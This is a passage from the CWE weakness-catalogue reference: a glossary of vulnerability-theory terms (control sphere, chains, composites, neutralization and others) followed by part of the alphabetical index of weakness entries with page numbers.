**Activation Point** a vulnerability theory term for the location in code at an attacker's "payload" can be executed, i.e. when the attacker has caused the code to violate the intended security policy. For example, in SQL injection, the code reads an input from a parameter (interaction point), incorrectly checks the input for dangerous characters (crossover point), inserts the input into a dynamically generated query string, then sends the query string to the database server (trigger point), then the query is processed by the server (activation point). See the Vulnerability Theory paper for more details.

**Actor** a vulnerability theory term that describes an entity that interacts with the software or with other entities, such as a User, Service, Monitor (e.g. IDS), Intermediary, and others.

**Attacker** an actor who attempts to gain access to behaviors or resources that are outside of the software's intended control sphere for that actor.

**Authentication** the process of verifying that an actor has a specific real-world identity, typically by checking for information that the software assumes can only be produced by that actor. This is different than authorization, because authentication focuses on verifying the identity of the actor, not what resources the actor can access.

**Authorization** the process of determining whether an actor with a given identity is allowed to have access to a resource, then granting access to that resource, as defined by the implicit and explicit security policies for the system. This is different than authentication, because authorization focuses on whether a given actor can access a given resource, not in proving what the real-world identity of the actor is.

**Base Weakness** a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.

**Behavior** an action that the software takes, typically as implemented in code or as represented by an algorithm. Could also refer to actions by other actors that are not the system.

**Canonicalization** a behavior that converts or reduces an input/output to a single fixed form that cannot be converted or reduced any further. In cases in which the input/output is used as an identifier, canonicalization refers to the act of converting that identifier. For example, when the current working directory is "/users/cwe," the filename "../xyz" can be canonicalized to "/users/xyz."

**Canonicalize** to perform Canonicalization.

**Category** a CWE entry that contains a set of other entries that share a common characteristic.

**Chain** a Compound Element that is a sequence of two or more separate weaknesses that can be closely linked together within software. One weakness, X, can directly create the conditions that are necessary to cause another weakness, Y, to enter a vulnerable condition. When this happens, CWE refers to X as "primary" to Y, and Y is "resultant" from X. For example, in the named chain CWE-691, an integer overflow (CWE-190) can lead to a buffer overflow (CWE-120) if an integer overflow occurs while calculating the amount of memory to allocate. In this case, the integer overflow would be primary to the buffer overflow. Chains can involve more than two weaknesses, and in some cases, they might have a tree-like structure.

**Check** in the vulnerability theory model of error handling, to examine a resource, its properties, or the system state to determine if they align with the expectations of the software.

**Class Weakness** a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More general than a Base weakness.

**Cleanse** Use of this term is discouraged in names and descriptions for CWE weaknesses, since it has too many different meanings in the industry and may cause mapping errors. It is not precise enough for CWE's purpose. This decision was made in CWE 1.9. Some entries may still use this term, but they will be modified in future versions.

**Cleansing** This term is discouraged for use in CWE.

**Cleartext** Any information that is unencrypted, although it might be in an encoded form that is not easily human-readable, such as base64 encoding. Some people use the "plaintext" term to mean the same thing, but "plaintext" has a more precise meaning within cryptography.

**Composite** a Compound Element that consists of two or more distinct weaknesses, in which all weaknesses must be present at the same time in order for a potential vulnerability to arise. Removing any of the weaknesses eliminates or sharply reduces the risk. One weakness, X, can be "broken down" into component weaknesses Y and Z. For example, Symlink Following (CWE-61) is only possible through a combination of several component weaknesses, including predictability (CWE-340), inadequate permissions (CWE-275), and race conditions (CWE-362). By eliminating any single component, a developer can prevent the composite from becoming exploitable. There can be cases in which one weakness might not be essential to a composite, but changes the nature of the composite when it becomes a vulnerability; for example, NUL byte interaction errors (CWE-626) can widen the scope of path traversal weaknesses (CWE-22), which often limit which files could be accessed due to idiosyncrasies in filename generation.

**Compound Element** an Entry that closely associates two or more CWE entries. The CWE team's research has shown that vulnerabilities often can be described in terms of the interaction or co-occurrence of two or more weaknesses. In CWE 1.0, the only types of compound elements are Chains and Composites, although other types might be defined in later versions.

**Consequence** a fault - a behavior that is always incorrect if executed, i.e., conflicts with the intended security policy.

**Control Sphere** a vulnerability theory term for a set of resources and behaviors that are accessible to a single actor, or a group of actors that all share the same security restrictions. This set can be empty. A product's security model will typically define multiple spheres, although this model might not be explicitly stated. For example, a server might define one sphere for "administrators" who can create new user accounts with subdirectories under /home/server/, and a second sphere might cover the set of users who can create or delete files within their own subdirectories. A third sphere might be "users who are authenticated to the operating system on which the product is installed." Each sphere has different sets of actors and allowable behaviors. Vulnerabilities can arise when the boundaries of a control sphere are not properly enforced, or when a control sphere is defined in a way that allows more actors or resources than the developer or system operator intends. For example, an application might intend to allow guest users to access files that are only within a given directory, but a path traversal attack could allow access to files that are outside of that directory, which are thus outside of the intended sphere of control.

**Crossover Point** a vulnerability theory term for the location in code after which an expected property is violated. This is likely to lead to incorrect actions at a later point. For example, a programmer might use a regular expression to restrict an input string to contain only digits, such as for a telephone number. After applying the regular expression, the string is expected to have the property "only contains digits." If the regular expression is incorrectly specified (e.g. only testing for the presence of a digit anywhere in the string), then after its application, the code reaches a crossover point because the string does not necessarily have the property of "only contains digits." For example, in SQL injection, the code reads an input from a parameter (interaction point), incorrectly checks the input for dangerous characters (crossover point), inserts the input into a dynamically generated query string, then sends the query string to the database server (trigger point), then the query is processed by the server (activation point). See the Vulnerability Theory paper for more details.

**CRUD** acronym for "Create, Read, Update, Delete," a model for persistent storage of data that is similar to the resource model in vulnerability theory.

**Enforce** a general term, meaning to check or manipulate a resource so that it has a property that is required by the security policy. For example, the filtering of all non-alphanumeric characters from an input is one mechanism to enforce that "all characters are alphanumeric." An alternate method of enforcement would be to reject the input entirely if it contains anything that's non-alphanumeric.

**Entry** any type of item in the CWE list that has been assigned a unique identifier.

**Equivalence** a security property in which two identifiers, inputs, resources, or behaviors have syntactically different representations, but are ultimately treated as being the same. For example, in Windows systems, the filenames "MyFile.txt" and "MYFILE.TXT" are equivalent because they refer to the same underlying file object. The inability to recognize equivalence is often a factor in vulnerabilities.

**Explicit Slice** a Slice whose membership is determined by some external criterion that is represented using HasMember relationships between the view and those entries, but not between entries themselves. An example is CWE-635, which lists the CWE identifiers that being used by NVD.

**Filter** to perform Filtering.

**Filtering** the removal of elements from input or output based on some criteria. This term may apply to removal of elements regardless of security implications.

**Graph** a View that specifies relationships between entries, typically of a hierarchical nature. The root level nodes of the view are specified using HasMember relationships. Children are specified using ChildOf or other relationships.

**Handle** in the vulnerability theory model of error handling, to modify the execution of the software based on the results of a check for an error or exceptional condition.

**ICTA** Interaction/Crossover/Trigger/Activation, an acronym for the vulnerability theory terms for important locations in code artifacts.

**Implicit Slice** a Slice that defines its membership based on common characteristics of entries, such as weaknesses that can appear in C programs (CWE-658).

**Improper** used as a catch-all term to cover security behaviors that are either "Missing" or "Insufficient/Incorrect." Note: this term is being used inconsistently in CWE, although it has been more clearly defined since CWE 1.2.

**Incorrect** a general term, used to describe when a behavior attempts to do a task but does not do it correctly. This is distinct from "Missing," in which the developer does not even attempt to perform the behavior. This is similar to "Insufficient." Note: this term is being used inconsistently in CWE, although it has been more clearly defined since CWE 1.2.

**Information Exposure** the intentional or unintentional disclosure of information to an actor that is not explicitly authorized to have access to that information.

**Insecure** Use of this term is discouraged in names and descriptions for CWE weaknesses, since it does not provide any hint about the actual error that was introduced by the developer. Some unreviewed entries may still use this term, although it will be corrected in future versions of CWE. This is a general term used to describe a behavior that is incorrect and has security implications.

**Insufficient** a general term used to describe when a security property or behavior can vary in strength on a continuous or sliding scale, instead of a discrete scale. The continuous scale may vary depending on the context and risk tolerance. For example, the requirements for randomness may vary between a random selection for a greeting message versus the generation of a military-strength key. On the other hand, a weakness that allows a buffer overflow is always incorrect - there

is not a sliding scale that varies across contexts. Note: this this term has been used inconsistently in CWE, although it was more clearly defined beginning in CWE 1.4.

**Interaction Point** a vulnerability theory term for the point in code from which input is obtained from the external environment. For example, in SQL injection, the code reads an input from a parameter (interaction point), incorrectly checks the input for dangerous characters (crossover point), inserts the input into a dynamically generated query string, then sends the query string to the database server (trigger point), then the query is processed by the server (activation point). See the Vulnerability Theory paper for more details.

**Internal** used to describe a manipulation that occurs within an identifier or input, and not at the beginning or the end. This term is often used in conjunction with special elements. For example, the string `"/etc/passwd"` has multiple internal `"/"` characters, or `<SCRIPT>` has an internal `"."` character.

**Leading** 1) used to describe a manipulation that occurs at the beginning of an identifier or input. This term is often used in conjunction with special elements. For example, the string `"/etc/passwd"` has multiple leading `"/"` characters. 2) used to describe the transition from a primary to resultant weakness in a chain

**Loose Composite** an informal term for describing a CWE entry that the general public thinks of as an individual weakness, but is actually a disjoint list of multiple distinct weaknesses - i.e., a narrowly-defined category. This is not well-handled within CWE 1.0, although it might be regarded as another kind of Compound Element. An example of a loose composite is "insecure temporary file" - the temporary file could have permissions problems, be used as a semaphore, be part of a race condition, etc.

**Manipulation** the modification of a resource by an actor, typically to change its properties. Usually used in the context of software as it manipulates inputs and system resources to ensure that security properties are enforced.

**Missing** used to describe a behavior that the developer has not attempted to perform. This is distinct from "incorrect," which describes when the developer attempts to perform the behavior, but does not do it correctly. Note: this term is being used inconsistently in CWE, although it has been more clearly defined since CWE 1.2.

**Named Chain** a Chain that appears so frequently in software that a CWE ID has been assigned to it, such as CWE-680 (Integer Overflow to Buffer Overflow).

**Natural Hierarchy** the term used in Draft 9 for the Research Concepts View (CWE-1000).

**Neutralization** a general term to describe the process of ensuring that input or output has certain security properties before it is used. This is independent of the specific protection mechanism that performs the neutralization. The term could refer to one or more of the following: filtering/cleansing, canonicalization/resolution, encoding/decoding, escaping/unescaping, quoting/unquoting, validation, or other mechanisms.

**Neutralize** to perform Neutralization.

**Node** another term for a CWE entry, especially used before CWE 1.0.

**Permissions** the explicit specifications for a resource, or a set of resources, that defines which actors are allowed to access that resource, and which actions may be performed by those actors. Permissions can contribute to the definition of one or more intended control spheres.

**Pillar** a top-level entry in the Research Concepts View (CWE-1000). Equivalent to "kingdoms" in Seven Pernicious Kingdoms.

**Plaintext** information that is used as the input to an encryption algorithm, which might contain already-encrypted text. Many people use the "plaintext" term to mean "unencrypted," and others may use "cleartext" to mean the same thing.

**Primary Weakness** a weakness that is an initial, critical error (root cause) that can expose other weaknesses later in execution of the software.

**Property** a vulnerability theory term for the security-relevant characteristic of an individual resource or behavior that is important to the system's intended security model, which might change over time. For example, user input is initially untrusted; after the system neutralizes the input, when the input is finally processed, it must be treated as trusted. This illustrates the Trustability property.

**Protection Mechanism** a vulnerability theory term for a set of behaviors that helps to enforce an implicit or explicit security policy for the software, such as an input validation routine.

**Reliance** a security-relevant assumption that a resource has a given property, which can lead to weaknesses if that property cannot be guaranteed. For example, an access control protection mechanism might use reverse DNS lookups (CWE-247) in an attempt to limit access to systems in a particular domain; however, this reliance on DNS introduces a weakness because DNS results can be spoofed.

**Resolution** the process of converting a resource identifier to a single, canonical form. For example, code that converts `"/tmp/abc/./def.xyz"` to `"/tmp/def.xyz"` is performing resolution on an identifier that is being used for a file resource.

**Resolve** to perform Resolution.

**Resource** a vulnerability theory term for an object or entity that is accessed or modified within the operation of the software, such as memory, CPU, files, or sockets. Resources can be system-level (memory or CPU), code-level (function or variable), or application-level (cookie or message).

**Resultant Weakness** a weakness that is only exposed to attack after another weakness has been exploited; an early link in a chain.

**Sanitization** Use of this term is discouraged in names and descriptions for CWE weaknesses, since it has too many different meanings in the industry and may cause mapping errors. It is not precise enough for CWE's purpose. This decision was made in CWE 1.8.1. Some entries may still use this term, but they will be modified in future versions. Similar terms in use in CWE may include "Neutralization," "Validation," "Encoding," and "Filtering."

**Sanitize** This term is discouraged for use in CWE.

**SDLC** Software Development Lifecycle.

**Security Policy** in vulnerability theory, a set of valid behaviors, properties, and resources within the context of operation of a software system. The policy is generally implicit (as reflected in the code, or the programmer's assumptions), but it can be explicit.

**Slice** a view that is a flat list of CWE entries that does not specify any relationships between those entries.

**Special Element** a general term for a sequence of bytes, characters, or words that is used to separate different portions of data within a particular representation or language. The most commonly understood usage of special elements is in single characters, such as the "<" in HTML, which marks the beginning of a tag. As another example, the CRLF (carriage return / line feed) character is used as a separator between headers in MIME messages, so CRLF is a special element. When multi-part MIME messages are constructed, the boundary string becomes a special element. Special elements are often important in weaknesses that can be exploited by injection attacks. A special element in one representation might not be special in another. For example, whitespace is a special element when executing a command in a shell (since it acts as an argument separator), but it has no special meaning in the body of HTML or e-mail messages.

**Sphere of Control** See Control Sphere

**Trailing** used to describe a manipulation that occurs at the end of an identifier or input. This term is often used in conjunction with special elements. For example, the string "example.com." has a trailing "." character.

**Trigger Point** a vulnerability theory term for the location in code after which the software can no longer prevent itself from violating the intended security policy. For example, in SQL injection, the code reads an input from a parameter (interaction point), incorrectly checks the input for dangerous characters (crossover point), inserts the input into a dynamically generated query string, then sends the query string to the database server (trigger point), then the query is processed by the server (activation point). See the Vulnerability Theory paper for more details.

**Unexpected** violating the assumptions of the developer or operator of the software. This is typically used to describe the state of the software, a behavior that was not intended, or a property of a resource that was not assumed to be present. For example, if an e-commerce program allows a user to specify the quantity of items to purchase, and the program assumes that the quantity will be a number, then the string "abcde" is unexpected. A program crash is usually unexpected behavior. Similarly, when a programmer dereferences a pointer, it is usually unexpected if that pointer can be NULL. Attacks often leverage unexpected properties and behaviors, since the developer has not necessarily provided a sufficient defense.

**Variant** a weakness that is described at a very low level of detail, typically limited to a specific language or technology. More specific than a Base weakness.

**View** a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).

**Vulnerability** an occurrence of a weakness (or multiple weaknesses) within software, in which the weakness can be used by a party to cause the software to modify or access unintended data, interrupt proper execution, or perform incorrect actions that were not specifically granted to the party who uses the weakness.

**Weakness** a type of mistake in software that, in proper conditions, could contribute to the introduction of vulnerabilities within that software. This term applies to mistakes regardless of whether they occur in implementation, design, or other phases of the SDLC.

# Index

## A

Absolute Path Traversal, 64  
 Acceptance of Extraneous Untrusted Data With Trusted Data, 607  
 Access of Memory Location After End of Buffer, 1208  
 Access of Memory Location Before Start of Buffer, 1205  
 Access of Resource Using Incompatible Type ('Type Confusion'), 1287  
 Access of Uninitialized Pointer, 1254  
 Access to Critical Private Variable via Public Method, 1172  
 Addition of Data Structure Sentinel, 781  
 Algorithmic Complexity, 706  
 Allocation of File Descriptors or Handles Without Limits or Throttling, 1188  
 Allocation of Resources Without Limits or Throttling, 1175  
 Always-Incorrect Control Flow Implementation, 1037  
 Apple '.DS\_Store', 106  
 Argument Injection or Modification, 155  
 Array Declared Public, Final, and Static, 922  
 ASP.NET Environment Issues, 8  
 ASP.NET Misconfiguration: Creating Debug Binary, 8  
 ASP.NET Misconfiguration: Missing Custom Error Page, 9  
 ASP.NET Misconfiguration: Not Using Input Validation Framework, 891  
 ASP.NET Misconfiguration: Password in Configuration File, 11  
 ASP.NET Misconfiguration: Use of Identity Impersonation, 892  
 Assigning instead of Comparing, 811  
 Assignment of a Fixed Address to a Pointer, 927  
 Assignment to Variable without Use ('Unused Variable'), 899  
 Asymmetric Resource Consumption (Amplification), 703  
 Attempt to Access Child of a Non-structure Pointer, 928  
 Authentication Bypass by Alternate Name, 513  
 Authentication Bypass by Assumed-Immutable Data, 533  
 Authentication Bypass by Capture-replay, 520  
 Authentication Bypass by Primary Weakness, 536  
 Authentication Bypass by Spoofing, 514  
 Authentication Bypass Issues, 933  
 Authentication Bypass Using an Alternate Path or Channel, 512  
 Authentication Bypass: OpenSSL CTX Object Modified after SSL Objects are Created, 934  
 Authorization Bypass Through User-Controlled Key, 988  
 Authorization Bypass Through User-Controlled SQL Primary Key, 902

## B

Behavioral Change in New Version or Environment, 752  
 Behavioral Problems, 752  
 Buffer Access Using Size of Source Buffer, 1236  
 Buffer Access with Incorrect Length Value, 1230  
 Buffer Copy without Checking Size of Input ('Classic Buffer Overflow'), 234  
 Buffer Over-read, 254  
 Buffer Under-read, 256  
 Buffer Underwrite ('Buffer Underflow'), 250  
 Business Logic Errors, 1283  
 Byte/Object Code, 849

## C

Call to Non-ubiquitous API, 929  
 Call to Thread run() instead of start(), 910  
 CERT C Secure Coding Section 01 - Preprocessor (PRE), 1131

CERT C Secure Coding Section 02 - Declarations and Initialization (DCL), 1131  
 CERT C Secure Coding Section 03 - Expressions (EXP), 1131  
 CERT C Secure Coding Section 04 - Integers (INT), 1132  
 CERT C Secure Coding Section 05 - Floating Point (FLP), 1132  
 CERT C Secure Coding Section 06 - Arrays (ARR), 1133  
 CERT C Secure Coding Section 07 - Characters and Strings (STR), 1133  
 CERT C Secure Coding Section 08 - Memory Management (MEM), 1134  
 CERT C Secure Coding Section 09 - Input Output (FIO), 1135  
 CERT C Secure Coding Section 10 - Environment (ENV), 1135  
 CERT C Secure Coding Section 11 - Signals (SIG), 1136  
 CERT C Secure Coding Section 12 - Error Handling (ERR), 1136  
 CERT C Secure Coding Section 49 - Miscellaneous (MSC), 1137  
 CERT C Secure Coding Section 50 - POSIX (POS), 1137  
 CERT C++ Secure Coding Section 01 - Preprocessor (PRE), 1312  
 CERT C++ Secure Coding Section 02 - Declarations and Initialization (DCL), 1312  
 CERT C++ Secure Coding Section 03 - Expressions (EXP), 1312  
 CERT C++ Secure Coding Section 04 - Integers (INT), 1313  
 CERT C++ Secure Coding Section 05 - Floating Point Arithmetic (FLP), 1313  
 CERT C++ Secure Coding Section 06 - Arrays and the STL (ARR), 1313  
 CERT C++ Secure Coding Section 07 - Characters and Strings (STR), 1314  
 CERT C++ Secure Coding Section 08 - Memory Management (MEM), 1314  
 CERT C++ Secure Coding Section 09 - Input Output (FIO), 1315  
 CERT C++ Secure Coding Section 10 - Environment (ENV), 1316  
 CERT C++ Secure Coding Section 11 - Signals (SIG), 1317  
 CERT C++ Secure Coding Section 12 - Exceptions and Error Handling (ERR), 1317  
 CERT C++ Secure Coding Section 13 - Object Oriented Programming (OOP), 1318  
 CERT C++ Secure Coding Section 14 - Concurrency (CON), 1318  
 CERT C++ Secure Coding Section 49 - Miscellaneous (MSC), 1318  
 CERT Java Secure Coding Section 00 - Input Validation and Data Sanitization (IDS), 1291  
 CERT Java Secure Coding Section 01 - Declarations and Initialization (DCL), 1291  
 CERT Java Secure Coding Section 02 - Expressions (EXP), 1292  
 CERT Java Secure Coding Section 03 - Numeric Types and Operations (NUM), 1292  
 CERT Java Secure Coding Section 04 - Object Orientation (OBJ), 1293  
 CERT Java Secure Coding Section 05 - Methods (MET), 1293  
 CERT Java Secure Coding Section 06 - Exceptional Behavior (ERR), 1294  
 CERT Java Secure Coding Section 07 - Visibility and Atomicity (VNA), 1294



- CERT Java Secure Coding Section 08 - Locking (LCK), 1295
- CERT Java Secure Coding Section 09 - Thread APIs (THI), 1295
- CERT Java Secure Coding Section 10 - Thread Pools (TPS), 1295
- CERT Java Secure Coding Section 11 - Thread-Safety Miscellaneous (TSM), 1296
- CERT Java Secure Coding Section 12 - Input Output (FIO), 1296
- CERT Java Secure Coding Section 13 - Serialization (SER), 1297
- CERT Java Secure Coding Section 14 - Platform Security (SEC), 1297
- CERT Java Secure Coding Section 15 - Runtime Environment (ENV), 1298
- CERT Java Secure Coding Section 49 - Miscellaneous (MSC), 1298
- Chain Elements, 1054
- Channel Accessible by Non-Endpoint ('Man-in-the-Middle'), 530
- Channel and Path Errors, 722
- Channel Errors, 722
- Cleansing, Canonicalization, and Comparison Errors, 332
- Cleartext Storage in a File or on Disk, 556
- Cleartext Storage in the Registry, 557
- Cleartext Storage of Sensitive Information, 553
- Cleartext Storage of Sensitive Information in a Cookie, 558
- Cleartext Storage of Sensitive Information in Executable, 561
- Cleartext Storage of Sensitive Information in GUI, 560
- Cleartext Storage of Sensitive Information in Memory, 559
- Cleartext Transmission of Sensitive Information, 562
- Client-Side Enforcement of Server-Side Security, 947
- clone() Method Without super.clone(), 920
- Cloneable Class Containing Sensitive Information, 842
- Code, 17
- Coding Standards Violation, 1109
- Collapse of Data into Unsafe Value, 350
- Command Shell in Externally Accessible Directory, 890
- Comparing instead of Assigning, 814
- Comparison of Classes by Name, 820
- Comparison of Object References Instead of Object Contents, 936
- Compiler Optimization Removal or Modification of Security-critical Code, 1129
- Compiler Removal of Code to Clear Buffers, 12
- Composites, 1054 (*Graph: 1430*)
- Comprehensive CWE Dictionary, 1404
- Concurrency Issues, 893
- Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition'), 627
- Configuration, 15
- Containment Errors (Container Errors), 410
- Context Switching Race Condition, 645
- Covert Channel, 858
- Covert Storage Channel, 858
- Covert Timing Channel, 666
- Creation of chroot Jail Without Changing Working Directory, 433
- Creation of Temporary File in Directory with Incorrect Permissions, 659
- Creation of Temporary File With Insecure Permissions, 658
- Credentials Management, 453
- Critical Public Variable Without Final Modifier, 833
- Critical Variable Declared Public, 1170
- Cross-Site Request Forgery (CSRF), 611
- Cryptographic Issues, 547
- CWE Cross-section, 1319
- ## D
- Dangerous Signal Handler not Disabled During Sensitive Operations, 740
- Dangling Database Cursor ('Cursor Injection'), 966
- Data Handling, 18
- Data Structure Issues, 778
- Dead Code, 895
- Deadlock, 1271
- Declaration of Catch for Generic Exception, 682
- Declaration of Throws for Generic Exception, 683
- Deletion of Data Structure Sentinel, 780
- Deployment of Wrong Handler, 738
- DEPRECATED (Duplicate): Covert Timing Channel, 860
- DEPRECATED (Duplicate): Failure to provide confidentiality for stored data, 411
- DEPRECATED (Duplicate): General Information Management Problems, 417
- DEPRECATED (Duplicate): HTTP response splitting, 756
- DEPRECATED (Duplicate): Miscalculated Null Termination, 277
- DEPRECATED (Duplicate): Proxied Trusted Channel, 726
- DEPRECATED (Duplicate): Reliance on DNS Lookups in a Security Decision, 438
- DEPRECATED (Duplicate): Trusting Self-reported DNS Name, 518
- Deprecated Entries, 951
- DEPRECATED: Failure to Protect Stored Data from Modification, 411
- DEPRECATED: General Special Element Problems, 287
- DEPRECATED: Improper Sanitization of Custom Special Characters, 172
- DEPRECATED: Incorrect Initialization, 775
- DEPRECATED: Often Misused: Path Manipulation, 439
- DEPRECATED: State Synchronization Error, 651
- Deserialization of Untrusted Data, 847
- Detection of Error Condition Without Action, 671
- Development Concepts, 1081 (*Graph: 1431*)
- Direct Request ('Forced Browsing'), 727
- Direct Use of Unsafe JNI, 208
- Divide By Zero, 647
- Double Decoding of the Same Data, 336
- Double Free, 716
- Double-Checked Locking, 955
- Doubled Character XSS Manipulations, 151
- Download of Code Without Integrity Check, 835
- Duplicate Key in Associative List (Alist), 779
- Duplicate Operations on Resource, 1043
- Dynamic Variable Evaluation, 975
- ## E
- EJB Bad Practices: Use of AWT Swing, 913
- EJB Bad Practices: Use of Class Loader, 918
- EJB Bad Practices: Use of Java I/O, 915
- EJB Bad Practices: Use of Sockets, 916
- EJB Bad Practices: Use of Synchronization Primitives, 911
- Embedded Malicious Code, 851
- Empty Password in Configuration File, 458
- Empty Synchronized Block, 925
- Encoding Error, 333
- Environment, 1
- Error Conditions, Return Values, Status Codes, 670
- Error Handling, 669
- Excessive Iteration, 1272
- Executable Regular Expression Error, 972
- Execution After Redirect (EAR), 1079
- Execution with Unnecessary Privileges, 440
- Expected Behavior Violation, 753
- Expired Pointer Dereference, 1255



- Explicit Call to Finalize(), 926
  - Exposed Dangerous Method or Function, 1138
  - Exposed IOCTL with Insufficient Access Control, 1198
  - Exposed Unsafe ActiveX Method, 966
  - Exposure of Access Control List Files to an Unauthorized Control Sphere, 870
  - Exposure of Backup File to an Unauthorized Control Sphere, 870
  - Exposure of Core Dump File to an Unauthorized Control Sphere, 869
  - Exposure of CVS Repository to an Unauthorized Control Sphere, 868
  - Exposure of Data Element to Wrong Session, 823
  - Exposure of File Descriptor to Unintended Control Sphere ('File Descriptor Leak'), 697
  - Exposure of Private Information ('Privacy Violation'), 622
  - Exposure of Resource to Wrong Sphere, 1035
  - Exposure of Sensitive Data Through Data Queries, 389
  - Exposure of System Data to an Unauthorized Control Sphere, 840
  - Expression is Always False, 906
  - Expression is Always True, 908
  - Expression Issues, 906
  - External Control of Assumed-Immutable Web Parameter, 793
  - External Control of Critical State Data, 993
  - External Control of File Name or Path, 109
  - External Control of System or Configuration Setting, 14
  - External Influence of Sphere Definition, 1041
  - External Initialization of Trusted Variables or Data Stores, 767
  - Externally Controlled Reference to a Resource in Another Sphere, 957
- F**
- Failure to Handle Incomplete Element, 429
  - Failure to Handle Missing Parameter, 425
  - Failure to Sanitize Paired Delimiters, 311
  - Failure to Sanitize Special Element, 314
  - Failure to Sanitize Special Elements into a Different Plane (Special Element Injection), 116
  - File and Directory Information Exposure, 877
  - File Descriptor Exhaustion, 1174
  - Files or Directories Accessible to External Parties, 889
  - finalize() Method Declared Public, 923
  - finalize() Method Without super.finalize(), 905
  - Free of Memory not on the Heap, 930
  - Free of Pointer not at Start of Buffer, 1159
  - Function Call With Incorrect Argument Type, 1066
  - Function Call With Incorrect Number of Arguments, 1065
  - Function Call With Incorrect Order of Arguments, 1064
  - Function Call With Incorrect Variable or Reference as Argument, 1068
  - Function Call With Incorrectly Specified Argument Value, 1067
  - Function Call with Incorrectly Specified Arguments, 977
- G**
- Guessable CAPTCHA, 1229
- H**
- Handler Errors, 738
  - Heap-based Buffer Overflow, 245
  - Hidden Functionality, 1336
- I**
- Improper Access Control, 499
  - Improper Access of Indexable Resource ('Range Error'), 225
  - Improper Address Validation in IOCTL with METHOD\_NEITHER I/O Control Code, 1197
  - Improper Authentication, 507
  - Improper Authorization, 501
  - Improper Authorization in Handler for Custom URL Scheme, 1362
  - Improper Certificate Validation, 521
  - Improper Check for Certificate Revocation, 528
  - Improper Check for Dropped Privileges, 485
  - Improper Check for Unusual or Exceptional Conditions, 1143
  - Improper Check or Handling of Exceptional Conditions, 1102
  - Improper Cleanup on Thrown Exception, 777
  - Improper Clearing of Heap Memory Before Release ('Heap Inspection'), 434
  - Improper Control of a Resource Through its Lifetime, 1026
  - Improper Control of Document Type Definition, 1258
  - Improper Control of Dynamically-Identified Variables, 1337
  - Improper Control of Dynamically-Managed Code Resources, 1336
  - Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion'), 184
  - Improper Control of Generation of Code ('Code Injection'), 173
  - Improper Control of Interaction Frequency, 1225
  - Improper Control of Resource Identifiers ('Resource Injection'), 190
  - Improper Cross-boundary Removal of Sensitive Data, 405
  - Improper Encoding or Escaping of Output, 217
  - Improper Enforcement of a Single, Unique Action, 1276
  - Improper Enforcement of Behavioral Workflow, 1284
  - Improper Enforcement of Message Integrity During Transmission in a Communication Channel, 1350
  - Improper Enforcement of Message or Data Structure, 1107
  - Improper Export of Android Application Components, 1352
  - Improper Filtering of Special Elements, 1213
  - Improper Following of a Certificate's Chain of Trust, 523
  - Improper Following of Specification by Caller, 910
  - Improper Fulfillment of API Contract ('API Abuse'), 418
  - Improper Handling of Additional Special Element, 325
  - Improper Handling of Alternate Encoding, 335
  - Improper Handling of Apple HFS+ Alternate Data Stream Path, 107
  - Improper Handling of Case Sensitivity, 343
  - Improper Handling of Exceptional Conditions, 1150
  - Improper Handling of Extra Parameters, 427
  - Improper Handling of Extra Values, 423
  - Improper Handling of File Names that Identify Virtual Resources, 101
  - Improper Handling of Highly Compressed Data (Data Amplification), 708
  - Improper Handling of Incomplete Structural Elements, 428
  - Improper Handling of Inconsistent Special Elements, 326
  - Improper Handling of Inconsistent Structural Elements, 430
  - Improper Handling of Insufficient Entropy in TRNG, 588
  - Improper Handling of Insufficient Permissions or Privileges, 495
  - Improper Handling of Insufficient Privileges, 487
  - Improper Handling of Length Parameter Inconsistency, 266
  - Improper Handling of Missing Special Element, 324
  - Improper Handling of Missing Values, 422
  - Improper Handling of Mixed Encoding, 338
  - Improper Handling of Parameters, 424
  - Improper Handling of Structural Elements, 428
  - Improper Handling of Syntactically Invalid Structure, 420
  - Improper Handling of Undefined Parameters, 427
  - Improper Handling of Undefined Values, 423

- Improper Handling of Unexpected Data Type, 430
- Improper Handling of Unicode Encoding, 339
- Improper Handling of URL Encoding (Hex Encoding), 341
- Improper Handling of Values, 421
- Improper Handling of Windows ::DATA Alternate Data Stream, 105
- Improper Handling of Windows Device Names, 103
- Improper Initialization, 1027
- Improper Input Validation, 18
- Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'), 30
- Improper Link Resolution Before File Access ('Link Following'), 91
- Improper Locking, 1032
- Improper Neutralization of Alternate XSS Syntax, 154
- Improper Neutralization of Comment Delimiters, 302
- Improper Neutralization of CRLF Sequences ('CRLF Injection'), 172
- Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Response Splitting'), 211
- Improper Neutralization of Data within XPath Expressions ('XPath Injection'), 998
- Improper Neutralization of Data within XQuery Expressions ('XQuery Injection'), 1009
- Improper Neutralization of Delimiters, 287
- Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection'), 177
- Improper Neutralization of Directives in Statically Saved Code ('Static Code Injection'), 181
- Improper Neutralization of Encoded URI Schemes in a Web Page, 149
- Improper Neutralization of Equivalent Special Elements, 116
- Improper Neutralization of Escape, Meta, or Control Sequences, 301
- Improper Neutralization of Expression/Command Delimiters, 296
- Improper Neutralization of HTTP Headers for Scripting Syntax, 999
- Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'), 131
- Improper Neutralization of Input Leaders, 298
- Improper Neutralization of Input Terminators, 297
- Improper Neutralization of Internal Special Elements, 321
- Improper Neutralization of Invalid Characters in Identifiers in Web Pages, 152
- Improper Neutralization of Leading Special Elements, 316
- Improper Neutralization of Line Delimiters, 293
- Improper Neutralization of Macro Symbols, 304
- Improper Neutralization of Multiple Internal Special Elements, 323
- Improper Neutralization of Multiple Leading Special Elements, 317
- Improper Neutralization of Multiple Trailing Special Elements, 320
- Improper Neutralization of Null Byte or NUL Character, 312
- Improper Neutralization of Parameter/Argument Delimiters, 289
- Improper Neutralization of Quoting Syntax, 299
- Improper Neutralization of Record Delimiters, 291
- Improper Neutralization of Script in an Error Message Web Page, 144
- Improper Neutralization of Script in Attributes in a Web Page, 147
- Improper Neutralization of Script in Attributes of IMG Tags in a Web Page, 146
- Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS), 142
- Improper Neutralization of Section Delimiters, 294
- Improper Neutralization of Server-Side Includes (SSI) Within a Web Page, 183
